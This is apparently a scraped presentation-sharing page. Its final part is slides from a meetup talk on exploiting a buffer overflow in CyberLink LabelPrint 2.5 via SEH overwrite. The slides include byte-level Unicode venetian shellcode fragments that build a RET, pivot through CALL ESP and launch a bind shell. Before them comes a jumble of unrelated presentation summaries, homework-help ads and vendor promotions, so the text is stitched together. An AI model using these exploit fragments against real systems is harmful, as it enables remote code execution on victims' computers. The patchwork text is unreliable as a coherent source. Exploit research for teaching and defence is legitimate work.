This presentation was presented at IT Audit & IT Security Meetup #4 at Indonesian Cloud, Jakarta.
The exploit development process was quite challenging and we think that it's worth to share.
For educational purposes only.
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Vincenzo Iozzo
Charlie Miller and Vincenzo Iozzo presented techniques for post-exploitation on the iPhone 2 including:
1. Running arbitrary shellcode by overwriting memory protections and calling vm_protect to mark pages as read/write/executable.
2. Loading an unsigned dynamic library called Meterpreter by mapping it over an existing signed library, patching dyld to ignore code signing, and forcing unloaded of linked libraries.
3. Adding new functionality to Meterpreter, such as a module to vibrate and play a sound on the iPhone, demonstrating how payloads can be extended once loaded into memory.
The document discusses various techniques for exploiting buffer overflows to bypass data execution prevention (DEP) protections, including return-oriented programming (ROP). It describes using Windows API functions like VirtualAlloc to allocate executable memory and copy shellcode. ROP gadgets can be used to craft the stack and call the API functions with the correct parameters, such as allocating memory at a given address and size and marking it executable. The document provides an example stack layout to call VirtualAlloc and memcpy to allocate and copy shellcode into executable memory to bypass DEP.
Exploit Research and Development Megaprimer: DEP Bypassing with ROP ChainsAjin Abraham
Exploit Research and Development Megaprimer
http://opensecurity.in/exploit-research-and-development-megaprimer/
http://www.youtube.com/playlist?list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf
This document provides an introduction to JavaScript fundamentals and common patterns, jQuery optimization techniques, and an introduction to Node.js. It discusses JavaScript data types and variables, scoping, objects and classes. It also covers immediate execution functions, private patterns, event attaching in jQuery, and dependency management in Node.js projects. The document includes code examples for selecting elements and caching selectors in jQuery as well as creating an Express server and using middleware in Node.js applications.
I am Anne L. I am an Operating System Assignment Expert at programminghomeworkhelp.com. I hold a Ph.D. in Programming, Auburn University, USA. I have been helping students with their homework for the past 8 years. I solve assignments related to Operating systems.
Visit programminghomeworkhelp.com or email support@programminghomeworkhelp.com.
You can also call on +1 678 648 4277 for any assistance with Operating System Assignments.
Perl is an interpreted language, meaning that a control program that understands the semantics of the language and its components (the interpreter) executes program components individually as they are encountered in the control flow.
Interpreted execution makes Perl flexible, convenient, and fast for programming, with some penalty paid in execution speed.
This document provides an introduction to basic assembly concepts for reverse engineering including the stack, registers, calling conventions, common operations, and recognizing common constructs like function prologues and epilogues, loops, and switch statements. It explains the stack and how it is used to pass arguments and hold local variables. It also outlines some key registers and their uses as well as basic operations like mov, add, cmp, and jcc.
I am Joe L. I am a Computer Science Assignment Help Expert at programminghomeworkhelp.com. I hold a Ph.D. in Programming from, University of Chicago, USA. I have been helping students with their homework for the past 9 years. I solve assignments related to Computer Science.
Visit programminghomeworkhelp.com or email support@programminghomeworkhelp.com.
You can also call on +1 678 648 4277 for any assistance with Computer Science assignments.
This document describes how to create an echo server and echo client in Java. It outlines introducing an echo server that listens for client connections on a specified port, reads input from the client and writes it back. It then describes an echo client that connects to the server, takes user input and prints the echoed response from the server before exiting. The source code for both the server and client is included under an open source license.
This presentation deals with different scenarios in attacking applications vulnerable to Buffer overflow by exploiting the default SEH chain, by the SEH overwrite
I am Joseph G . I am a Programming Assignment Expert at programminghomeworkhelp.com. I hold a Ph.D. Programming, Schiller International University, USA. I have been helping students with their homework for the past 8 years. I solve assignments related to Programming.
Visit programminghomeworkhelp.com or email support@programminghomeworkhelp.com.
You can also call on +1 678 648 4277 for any assistance with Programming Assignments.
This document contains the source code for an integration project that allows a user to choose from 18 different programs to run. It includes methods for tasks like echoing input, integer division, finding the birthday month from a number, running a for loop, working with arrays and array lists, and an example of inheritance with a Car class extending a Machine class. The main method uses a switch statement to call the appropriate method based on the user's selection and ensures the programs can be continuously run with a while loop.
This document provides an overview of input/output (IO) operations in Perl, including how to open and read/write to files. It discusses opening files and assigning them to handles, as well as using open, print, and close to write to a file. It describes using while loops to read from files line by line to avoid reading the entire file at once. The document also mentions redirecting program outputs, using command line arguments via the @ARGV array, and the $_ variable. Finally, it briefly introduces opendir and readdir for reading the contents of directories.
I am Irene. I am a Computer Science Assignment Help Expert at programminghomeworkhelp.com. I hold a Ph.D. in Computer Science from, California Institute of Technology. I have been helping students with their homework for the past 8 years. I solve assignments related to Computer Science.
Visit programminghomeworkhelp.com or email support@programminghomeworkhelp.com.
You can also call on +1 678 648 4277 for any assistance with Computer Science assignments.
The document discusses process management in operating systems. It covers process concepts like process states, process control blocks (PCBs), and process scheduling. It also covers operations on processes like creation using fork() and exec(), and inter-process communication mechanisms like pipes, shared memory, message queues, semaphores, signals, and FIFOs. Key process management functions like fork(), exec(), wait(), signal(), and alarm() are explained.
I am Tim D. I am an Operating System Assignment Expert at programminghomeworkhelp.com. I hold a Ph.D. in Programming from, University of Waterloo, Canada. I have been helping students with their homework for the past 9 years. I solve assignments related to Operating systems.
Visit programminghomeworkhelp.com or email support@programminghomeworkhelp.com.
You can also call on +1 678 648 4277 for any assistance with Operating System Assignments.
Exploit Research and Development Megaprimer: Win32 EgghunterAjin Abraham
Exploit Research and Development Megaprimer
http://opensecurity.in/exploit-research-and-development-megaprimer/
http://www.youtube.com/playlist?list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf
Exploit Research and Development Megaprimer: Unicode Based Exploit DevelopmentAjin Abraham
Exploit Research and Development Megaprimer
http://opensecurity.in/exploit-research-and-development-megaprimer/
http://www.youtube.com/playlist?list=PLX3EwmWe0cS_5oy86fnqFRfHpxJHjtuyf
This document outlines a server and client for remote command execution. The server runs on a specified port, accepts connections from clients, and executes commands sent by the client using a bash process. It returns the output to the client. The client connects to the server, takes input from the user and sends it to the server, and prints the response until it receives a "bye" message. References are provided for the source code and presentation platform used.
The document discusses how a for loop can be recognized in assembly code. It notes that a for loop contains instructions for changing a counter, comparing the counter, and making jumps. Specifically, a for loop in assembly would contain instructions that increment a counter, compare the counter to a limit, and make jumps to repeat the loop based on the comparison.
Shellcode Disassembling - Reverse EngineeringSumutiu Marius
This document provides a basic guide to reverse engineering Linux x86 shellcode. It summarizes reversing two sample shellcodes: 1) A simple shellcode that reads the /etc/passwd file, and 2) An XOR encrypted shellcode that launches a new ksh shell with root privileges. It explains breaking down the shellcode using a debugger to understand what it is doing by examining registers, system calls and related functions. The goal is to understand how the shellcode works rather than just trusting its described purpose.
This document discusses exploiting heap overflows on Windows XP using vectored exception handling. It begins by explaining how the Windows heap works and how heap overflow vulnerabilities can be used to arbitrarily overwrite memory. It then presents a proof-of-concept C program that triggers a heap overflow and calls an exception handler. By overwriting pointers in the vectored exception handling data structures, execution can be redirected to shellcode placed in the heap buffer. The document provides step-by-step instructions for analyzing the vulnerability in a debugger, calculating offsets, and crafting an exploit to launch calc.exe via the heap overflow.
The document discusses exploiting a buffer overflow vulnerability in Internet Explorer's VML implementation (MS06-055) to execute arbitrary code. It describes overwriting the structured exception handler to gain control of the instruction pointer, using heap spraying to load a buffer in memory, and having the instruction pointer jump to the buffer to execute shellcode and spawn a command shell. Metasploit is introduced as an open-source framework for developing exploits.
ironSource's security application expert, Tomer Zait, shares his insights on engineering in the stack. Tomer, an Ort Singalovsky alumnus himself, gave this presentation to the Ort Singalovsky students on their tour of ironSource's headquarters in Tel Aviv.
Want to learn more about ironSource? Visit our website: www.ironsrc.com
Follow us on Twitter @ironSource
ironSource is looking for new talent! Check out our openings: http://bit.ly/Work-at-ironSource
This document discusses various low-level exploits, beginning with creating shellcode by extracting opcodes from a compiled C program. It then covers stack-based buffer overflows, including return-to-stack exploits and return-to-libc. Next it discusses heap overflows using the unlink technique, integer overflows, and format string vulnerabilities. The document provides code examples and explanations of the techniques.
The document provides an introduction to exploit development. It discusses preparing a virtual lab with tools like Immunity Debugger, Mona.py, pvefindaddr.py and Metasploit. It covers basic buffer overflow exploitation techniques like overwriting EIP and using RETURN oriented programming. The document demonstrates a basic stack-based buffer overflow exploit against the FreeFloat FTP server as a tutorial, covering steps like generating a cyclic pattern, finding the offset and using mona to find a JMP ESP instruction to redirect execution. It also discusses using msfpayload to generate Windows bind shellcode and msfencode to escape bad characters before testing the proof of concept exploit.
The document summarizes the process of reversing the source code of a virtual machine (VM) used in the T2'06 challenge. It identifies key structures like the VM context, instruction pointer, opcode table, and instruction decoder. It analyzes individual VM instructions to understand operations like incrementing the instruction pointer. The author maps out the VM's memory management and "machine control" registers used for I/O and error handling. Reversing the full VM source code provides insights into how VMs work and how to approach reversing complex VM protections.
Shellcode is machine code that executes a shell when run. This document discusses shellcode, including:
- Shellcode injects machine code into a vulnerable application to spawn a shell.
- Three examples of shellcode are provided: an exit system call, displaying a message, and spawning a shell.
- Registers, assembly instructions, and system calls used in Linux are explained for creating shellcode.
The document discusses various static analysis tools for PHP code including PHP_CodeSniffer, PHPDepend, PHPMD, phploc, phpcpd, vld, Bytekit, Padawan, and Phantm. It explains how each tool works at different levels like lexical analysis, syntactic analysis, and bytecode level. The document also presents tools for continuous integration and reporting of analysis results like phpUnderControl, Arbit, and plugins for Sonar to integrate static analysis of PHP code.
The document discusses the stack and buffer overflows. It provides an overview of registers, the stack, calling conventions, and buffer overflows. It explains how buffer overflows can corrupt local variables or overwrite the return pointer. The document shows how to craft payloads to exploit buffer overflows by overwriting values on the stack, such as changing a variable or calling a function directly.
Return oriented programming (ROP) allows an attacker to bypass address space layout randomization (ASLR) and data execution prevention (DEP). It works by identifying small "gadgets" in a program's code that end with a return instruction. These gadgets can be stitched together to perform operations or redirect execution flow. First, gadgets are found in the program using tools like ROPeMe or objdump. Useful gadgets include those that load registers from memory or call functions indirectly. The gadgets can then be chained to build ROP payloads that copy shellcode into memory and pivot the stack to execute it.
The document discusses exploiting heap overflows on the Windows platform. It describes the Windows heap structure and design, how heap overflows corrupt the heap control information, and several techniques for exploiting heap overflows including repairing the heap, using the unhandled exception filter, vectored exception handling, overwriting pointers in the process environment block, and overwriting the thread environment block exception handler pointer.
Direct code generation involves generating object code directly from the parse tree produced during syntactic and semantic analysis. It can be performed via a single pass, where semantic actions during parsing generate the code, or via multiple passes where the parse tree is generated and then passed to a separate code generation phase. When generating code, variables may need to be moved to registers for efficient operation execution before being moved back to memory. The CAC function helps ensure the appropriate values are in registers by generating move instructions as needed. When generating code for mathematical expressions, the location of operands is tracked to minimize unnecessary register moves.
NDC TechTown 2023_ Return Oriented Programming an introduction.pdfPatricia Aas
Return Oriented Programming (ROP) is an exploitation technique that folks have often heard of, but don't know the mechanics of. In this talk you will learn how it works, and we will go through some examples to show how it can be used to execute code in contexts where the stack is not executable.
Reversing & Malware Analysis Training Part 4 - Assembly Programming Basicssecurityxploded
This presentation is part of our Reverse Engineering & Malware Analysis Training program.
For more details refer our Security Training page
http://securityxploded.com/security-training.php
Similar to CyberLink LabelPrint 2.5 Exploitation Process (20)
Alluxio Webinar | What’s new in Alluxio Enterprise AI 3.2: Leverage GPU Anywh...Alluxio, Inc.
Alluxio Webinar
July.23, 2024
For more Alluxio Events: https://www.alluxio.io/events/
Speaker:
- Shouwei Chen (core maintainer and product manager, Alluxio)
In today's AI-driven world, organizations face unprecedented demands for powerful AI infrastructure to fuel their model training and serving workloads. Performance bottlenecks, cost inefficiencies, and management complexities pose significant challenges for AI platform teams supporting large-scale model training and serving. On July 9, 2024, we introduced Alluxio Enterprise AI 3.2, a groundbreaking solution designed to address these critical issues in the ever-evolving AI landscape.
In this webinar, Shouwei Chen will introduce exciting new features of Alluxio Enterprise AI 3.2:
- Leveraging GPU resources anywhere accessing remote data with the same local performance
- Enhanced I/O performance with 97%+ GPU utilization for popular language model training benchmarks
- Achieving the same performance as HPC storage on existing data lake without additional HPC storage infrastructure
- New Python FileSystem API to seamlessly integrate with Python applications like Ray
- Other new features, include advanced cache management, rolling upgrades, and CSI failover
SOCRadar's Hand Guide For the 2024 Paris Olympics--.pdfSOCRadar
SOCRadar’s suite of tools offers comprehensive protection, enabling businesses to identify potential threats, analyze malicious files, and enhance DDoS defenses. With real-time insights from SOCRadar’s Extended Threat Intelligence solution, businesses can effectively counteract cyber threats and mitigate data breaches. This guide is essential for organizations preparing for the cyber challenges posed by the Paris 2024 Olympics, ensuring a secure digital environment.
Cloud Databases and Big Data - Mechlin.pptxMitchell Marsh
Cloud databases and big data are revolutionizing how organizations store, manage, and analyze vast amounts of information. Cloud databases offer scalable, flexible, and cost-effective solutions for data storage, allowing businesses to access and manage their data from anywhere with internet connectivity. Big data involves the processing and analysis of extremely large datasets to uncover patterns, trends, and insights that can drive strategic decision-making. Together, these technologies enable companies to harness the power of their data, improve operational efficiency, and gain a competitive edge in the market.
How Odoo Accounting Can Save Your Business, Time and Money.pdfBanibro IT Solutions
In today's fast-paced and competitive business landscape, time and money are invaluable resources. Efficient management and strategic planning of these resources can significantly impact a company's success. One proficient solution that enhances financial processes and improves efficiency is Odoo Accounting. This blog explains how the flexible ERP software provides a wide range of features that help businesses save both time and money.
### 1. Streamlined Financial Processes
Odoo Accounting offers a centralized platform for all financial operations, reducing the need for multiple systems and minimizing time spent on data entry. Automation features like invoicing, bank reconciliation, and payment follow-ups free up time for strategic activities.
### 2. Enhanced Tax Compliance
Odoo Accounting stays updated with the latest tax regulations, automating tax calculations and report generation to ensure accuracy and compliance, which is especially beneficial for businesses operating in multiple countries.
### 3. Automation of Routine Tasks
Odoo automates routine financial tasks such as invoicing and expense tracking, reducing manual effort and errors, and allowing the team to focus on strategic activities.
### 4. Real-Time Financial Insights
Odoo Accounting provides extensive reporting and analytics tools, offering real-time insights into financial components. Customizable reports enable precise decision-making.
### 5. Reduced Administrative Costs
By automating many financial processes, Odoo Accounting reduces the administrative burden on staff, minimizes errors, and has a user-friendly interface that shortens the learning curve for employees.
### 6. Improved Cash Flow Management
Odoo Accounting enhances cash flow management with real-time tracking and automated invoicing and payment reminders, helping businesses maintain flexibility and avoid costly borrowing.
### 7. Cost-Effective Solution
Odoo Accounting is a cost-effective alternative to traditional accounting software, with modular pricing and no large licensing fees. Businesses can choose and pay for only the features they need.
### 8. Enhanced Collaboration
Odoo Accounting integrates seamlessly with other Odoo modules like sales, inventory, and HR, enabling smooth coordination across departments and improving interdepartmental communication.
### 9. Simplified Compliance
Odoo Accounting simplifies compliance with financial regulations through features like tax calculation, audit documentation, and comprehensive reporting, reducing the risk of penalties and legal issues.
### 10. Scalable for Growth
Odoo Accounting scales with business growth, handling increased transaction volumes and financial processes without the need for new software, saving time and money.
### 11. Improved Compliance and Security
My Bully Is My Lover Apk CH1 EP4 (Gallery Unlock, MOD)Apk2me
You can get this game here👇
https://apk2me.com/my-bully-is-my-lover-mod-apk/
About Game
"My Bully Is My Lover" is a visual novel game that has garnered attention for its engaging narrative and interactive gameplay. Developed for the Android platform, this APK visual novel combines elements of romance, drama, and a touch of mystery to create an immersive experience for players.
The storyline revolves around the protagonist, who encounters a former bully from their past. As they navigate this complicated relationship, players are presented with choices that affect the direction and outcome of the narrative. The game offers multiple endings, each shaped by the decisions made throughout the gameplay, which adds a layer of replayability and depth.
One of the standout features of "My Bully Is My Lover" is the gallery unlock system. This feature is highly appreciated in visual novels as it allows players to revisit key scenes, special illustrations, and pivotal moments from the game. The gallery typically includes a collection of CG (computer graphics) images that are unlocked as the player progresses through the story and achieves certain milestones. This not only provides a reward mechanism for players but also encourages them to explore different paths and make varied choices to unlock all the available content.
The characters in "My Bully Is My Lover" are well-developed, each with unique backstories and personalities. The game's art style is visually appealing, with detailed character designs and expressive animations that enhance the storytelling. The dialogue is another strong point, often blending humor, tension, and heartfelt moments to keep players engaged.
Gameplay mechanics are straightforward, typical of visual novels. Players read through the narrative and make choices at critical junctures. These choices can range from seemingly trivial decisions to major turning points that significantly alter the course of the story. The game saves progress automatically, allowing players to return to previous points and explore different outcomes without starting over completely.
The APK format makes "My Bully Is My Lover" accessible to a wide audience, especially those who prefer playing on mobile devices. Installation is straightforward, and the game is optimized for smooth performance on Android devices. This portability allows players to enjoy the game on the go, making it a convenient option for fans of visual novels.
Overall, "My Bully Is My Lover" stands out in the visual novel genre with its compelling story, well-crafted characters, and engaging gameplay mechanics. The gallery unlock feature adds an extra dimension of enjoyment, providing a tangible reward for players' efforts and enhancing the overall experience. Whether you're a seasoned fan of visual novels or new to the genre, this game offers a rich and satisfying adventure that is well worth exploring.
JavaScript API Deprecation in the Wild: A First Assessment (SANER 2020)Andre Hora
Building an application using third-party libraries is a common practice in software development. As any other software system, code libraries and their APIs evolve over time. In order to help version migration and ensure backward compatibility, a recommended practice during development is to deprecate API. Although studies have been conducted to investigate deprecation in some programming languages, such as Java and C#, there are no detailed studies on API deprecation in the JavaScript ecosystem. This paper provides an initial assessment of API deprecation in JavaScript by analyzing 50 popular software projects. Initial results suggest that the use of deprecation mechanisms in JavaScript packages is low. However, we find five different ways that developers use to deprecate API in the studied projects. Among these solutions, deprecation utility (i.e., any sort of function specially written to aid deprecation) and code comments are the most common practices in JavaScript. Finally, we find that the rate of helpful message is high: 67% of the deprecations have replacement messages to support developers when migrating APIs.
How to Choose the Right Partner for Outsource Website DevelopmentRollout IT
Choosing the right partner for Outsource Website Development is crucial to ensuring the success of your project. Here are key factors to consider when making this decision.
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Asset Management software Technologies.pdfHr365.us smith
Asset management software leverages various technologies to streamline the management and tracking of assets. Key technologies include cloud computing, which provides flexible, scalable access from anywhere with internet connectivity, and IoT, enabling real-time monitoring of asset location, usage, and condition. AI and machine learning offer predictive maintenance and performance optimization through data analysis, while RFID allows for automatic identification and tracking of assets. Mobile applications provide on-the-go access and updates via mobile devices. Blockchain ensures secure, transparent tracking of asset transactions, and GIS helps visualize and manage spatially distributed assets.
A result-oriented professional with 10+ years of experience in software delivery, I am an enthusiastic team coach and action-oriented leader. My expertise in Agile processes and Scrum Master role experience of 3+ years has enabled me to successfully lead teams through complex software development cycles using Agile methodologies.
CrushFTP 10.4.0.29 PC Software - WhizNewsEman Nisar
Introduction:
In this never-ending digital world, the essence of a smooth and safe file transfer solution is vital. CrushFTP 10.4.0.29 is a kind of full-featured, robust, and easy-to-use PC software designed for a smooth file transfer process without compromising security. In this review, we will dig in deep regarding the CrushFTP features, functions, and system requirements to have a 360-degree view of its capabilities and possible applications.
Description:
CrushFTP, LLC develop the software, and it comes in a bundle of new features and improvements, which are set to deliver a great experience to the user.With CrushFTP, from the smallest to the most extensive scale of businesses, all kinds of file transfer operations can be centrally managed on a single platform.
You May Also Like :: Alt-Tab Terminator Pro 6.0 PC Software – WhizzNews
Abstract:
At its heart, CrushFTP is a powerful server that allows users to exchange files over the networks safely. Many features of the FTP servers have been extended in CrushFTP. It supports protocols like FTPS, SFTP, SCP, HTTP, and HTTPS for maximum flexibility with client applications and devices.
The intuitive web interface enables users to use file management tools simply without installing complex client software.
Software Characteristics:
Security:
CrushFTP ensures security through the use of protocols for encryption, such as SSL/TLS, to secure transmitted data. It also offers user authentication mechanisms using LDAP, Active Directory, and OAuth for proper secure access control.
Automation:
The automation capability of CrushFTP allows automating the everyday routine tasks through schedule-based transfer, event-based triggers, and custom flow. This ensures that the batch processing is effective with minimum manual interruption, improving productivity.
You May Also Like :: VovSoft Copy Files Into Multiple Folders PC Software – WhizzNews
Remote Administration:
CrushFTP supports remote administration through the web interface. This allows an administrator to manage server settings, user permissions, and file operations from any part of the world that is connected to the Internet. In this regard, it gives a very nice distributed team and remote work environment.
Integration:
The software easily integrates with third-party applications and services through a very extensive API, as well as through support for plenty of plugins. This way, it becomes straightforward for organizations to fit CrushFTP into their already existing infrastructure to promote interoperability and ensure scalability.
Monitoring and Logging:
CrushFTP provides very detailed tracking and logging where an administrator can trace all user activities, monitor the performance of the server, and analyze network traffic. It also offers real-time alerts and notifications for proactive management and troubleshooting.
Customization:
Make CrushFTP work with any possible parameters in mind through configurable settings, themes, and extensions
Healthcare software development made easy_ A step-by-step guide.pdfmohitd6
Healthcare software solutions are the perfect approach with which patient can have access to global medical facilities at their fingertips. It brings medical professionals closer to their patients without having to charter hundreds and thousands of miles, therefore, the key to developing any successful healthcare software solution is understanding your audience and their needs.
Software Development Company in Florida.pdfGetweys
Software development and digital marketing services are provided to customers by Getweys. When using Getweys, experts in a variety of digital marketing techniques are used, including social media marketing, search engine optimization (SEO), website design, mobile app development, and software development. Getwey's main objective is to aid clients in enhancing their online presence and engaging with their target audience via the application of effective technological solutions and marketing techniques. Getweys uses a combination of marketing and technology to expand its clientele and maintain its dominance in the digital sector.
Availability and Usage of Platform-Specific APIs: A First Empirical Study (MS...Andre Hora
A platform-specific API is an API implemented for a particular platform (e.g., operating system), therefore, it may not work on other platforms than the target one. In this paper, we propose a first empirical study to assess the availability and usage of platform-specific APIs. We analyze the platform-specific APIs provided by the Python Standard Library and mine their usage in 100 popular systems. We find that 21% of the Python Standard Library APIs are platform-specific and that 15% of the modules contain at least one. The platforms with the most availability restrictions are WASI (43.69%), Emscripten (43.64%), Unix (6,76%), and Windows (2.12%). Moreover, we find that platform-specific APIs are largely used in Python. We detect over 19K API usages in all 100 projects, in both production (52.6%) and test code (47.4%). We conclude by discussing practical implications for practitioners and researchers.
2. Who?
Thomas Gregory - @modpr0be
IT Security consultant @Spentera
Security researcher (occasionally)
focus on Windows exploitation
IT Security trainer (sometimes)
f3ci - ????
Security researcher
Penetration tester, red team
Appsec & simple exploit dev
3. What?
CyberLink LabelPrint 2.5
Labeling software
Embedded by default in CyberLink Power2Go
installation.
Included as bloatware in all Lenovo, HP, Asus
laptops somewhere between 2015-2016.
4. Why?
The exploit development is quite challenging and
interesting
We want to share it for education purposes only.
12. What is SEH?
a piece of code that is written inside an
application, with the purpose of dealing with the
fact that the application throws an exception
(taken from corelan)
an exception is an event, which occurs during the
execution of a program, that disrupts the normal
flow of the program's instructions.
a catcher, who is trying to catch unusual
behavior.
13. What is SEH?
This structure ( also called a SEH record) is 8 bytes
and has 2 (4 bytes) elements :
a pointer to the next exception registration
structure (in essence, to the next SEH record, in
case the current handler is unable the handle the
exception)
a pointer, the address of the actual code of the
exception handler. (SE Handler)
14. Abusing SEH
In other words, the payload must do the following
things:
Cause an exception. Without an exception, the SEH
handler (the one you have overwritten/control)
won’t kick in.
Overwrite the pointer to the next SEH record with
some jumpcode (so it can jump to the shellcode)
Overwrite the SE handler with a pointer to an
instruction that will bring you back to next SEH and
execute the jumpcode.
The shellcode should be directly after the
overwritten SE Handler. Some small jumpcode
contained in the overwritten “pointer to next SEH
record” will jump to it).
15. Abusing SEH
When the exception occurred, the position on the
stack will going like this:
Possible value to overwrite SE Handler are POP
something, POP something and RETN to the stack.
It will POP address that sit at the top of the stack,
POP it again to take the second address, and RETN
to execute the third address (which is now at the
top of the stack)
The third address usually our supplied input buffer
Top of stack
Our pointer to next SEH
address
16. Abusing SEH
Image was taken from http://corelan.be
with permission from Peter van Eeckhoutte (Corelan)
17. Unicode?
Unicode allows us to visually represent and/or
manipulate text in most of the systems across the
world in a consistent manner.
Unicode based exploit usually involved in
file/folder naming
part of input parameter that will deal with naming
18. More Info
Structured Exception Handler (SEH)
https://msdn.microsoft.com/en-
us/library/windows/desktop/ms680657(v=vs.85).aspx
https://www.corelan.be/index.php/2009/07/25/writi
ng-buffer-overflow-exploits-a-quick-and-basic-
tutorial-part-3-seh/
https://blog.spentera.com/2011/09/14/seh-based-
stack-overflow-the-basic/
Unicode based exploit
https://www.corelan.be/index.php/2009/11/06/expl
oit-writing-tutorial-part-7-unicode-from-0x00410041-
to-calc/
19. SEH + Unicode = Venetian
PROBABLY THE MOST HATED COMBINATION
20. Venetian Shellcode
One of the registers must point at the beginning of
the shellcode.
One register must point at a memory location that is
writeable (and where it’s ok to write the new
reassembled shellcode)
Normal venetian prepend shellcode
Push another register to stack (ESP)
Pop stack (ESP) into EAX
Align the EAX register with add/sub instruction
Push EAX register into stack (ESP)
RET (return to the beginning of shellcode at EAX)
Sadly, we won’t face a normal venetian approach
21. Typical Venetian Unicode
Prepend Opcode
Align EAX
Register
•If we use EAX as
BufferRegister, we
need to align EAX to
point to our Buffer
“Stack
Walking”
•Walk over the Next
SEH and SEH.
RET to
Shellcode
• Shellcode
executed
22. Typical Venetian Unicode
Prepend Opcode
ven = "x56" #push esi
ven += "x41" #align
ven += "x58" #pop eax
ven += "x41" #align
ven += "x05x04x01" #add eax,01000400
ven += "x41" #align
ven += "x2dx01x01" #add eax,01000100
ven += "x41" #align
ven += "x50" #push eax
ven += "x41" #align
ven += "xc3" #ret
Depends on where
our buffer is.
Use EAX as a
BufferRegister
23. Problem?
Limited instruction (because of Unicode)
need to find POP POP RET with Unicode friendly
All hex value between 0x80 – 0xFF are marked as
bad
Yes, RET opcode (C3) is also included in the bad
character list.
Meanwhile, our venetian shellcode need RET
Typical Venetian
25. Solution
Find a proper Unicode friendly PPR (pop pop ret)
instructions address somewhere in the library or
executable
Create “our version” of RET
Fill the stack (ESP) with our shellcode
Pointing our RET to CALL ESP instruction address
This will alter the flow of execution.
EAX must be pointing to the beginning of our
shellcode.
“Stack walk” until we meet shellcode.
26. Our Venetian Unicode
Shellcode
Align EAX
Register
Calculate
where RET will
be placed
Construct RET
in EAX
Calculate EAX
for CALL ESP
Opcode
Reaching RET,
Execute CALL
ESP
Re-aligning
EAX
“Stack walk”
to Shellcode
Bind shell 4444
27. pop pop ret
!mona seh
Fortunately, we found one address that is an
Unicode friendly (0x0044002c) in the main
program (LabelPrint.exe)
28. Construct RET (1)
Calculate the value of EAX register, preparing the
address where we exactly want the decoded RET
being placed later in the stack.
Limited calculation (because of UNICODE)
Zeroing the EAX register first
xor eax,eax
29. Construct RET (2)
Preparing address to push our RET:
push esp
pop eax
and EAX register with 01001B00
and EAX register with 01000100
push EAX
pop ESP
ven += "x42" #nop
ven += "x54" #push esp
ven += "x42" #nop
ven += "x58" #pop eax
ven += "x42" #nop
ven += "x05x1Bx01" #add eax 01001B00
ven += "x42" #nop
ven += "x2dx01x01" #sub eax 01001000
ven += "x42" #nop
ven += "x50" #push eax
ven += "x42" #nop
ven += "x5c" #pop esp
30. Construct RET (3)
After the calculation in EAX, now the stack (ESP) will be
pointing at 0x0012F655 (the same value as EAX)
This is important for our RET decoding address later.
32. Zeroing Out EAX
We need to clear the EAX register for the next
calculation of the RET opcode.
After EAX is zeroed out we can calculate the EAX
register to meet 0xC300C300 (RET opcode).
We can perform the calculation with AND
operand :
AND EAX register with 7e007e00
AND EAX register with 01000100
33. Zeroing Out EAX
ven += "x42" #nop
ven += "x25x7ex7e" #and eax,7e007e00
ven += "x42" #nop
ven += "x25x01x01" #and eax,01000100
34. Construct RET (5)
Preparing RET opcode:
Zeroing Out EAX first (done)
XOR EAX register with 7f007f00
ADD EAX register with 44004400
PUSH EDI
PUSH EAX
35. The RET Opcode (1)
ven += "x35x7fx7f" #xor eax,7f007f00
ven += "x42" #nop
ven += "x05x44x44" #add eax,44004400
ven += "x42" #nop
ven += "x57" #push edi/padding
ven += "x42" #nop
ven += "x50" #push eax
41. Our Venetian Shellcode
ven += "x58" #pop eax
ven += "x42" #nop
ven += "x58" #pop eax
ven += "x42" #nop
ven += "x05x10x01" #add eax, 11001900, align eax to our buffer
ven += "x42" #nop
ven += "x2dx0ex01" #add eax, 11001800, align eax to our buffer
ven += "x42" #nop
ven += "x50" #push eax
ven += "x42" #nop
ven += "x5C" #pop esp
ven += "x42" #nop
ven += "x58" #pop eax
ven += "x42" #nop
ven += "x05x53x7c" #add eax 7c005300 part of call esp
ven += "x42" #nop
ven += "x50" #push eax
ven += "x42" * 68 #padding to fill the stack
ven += "x7bx32" #part of call esp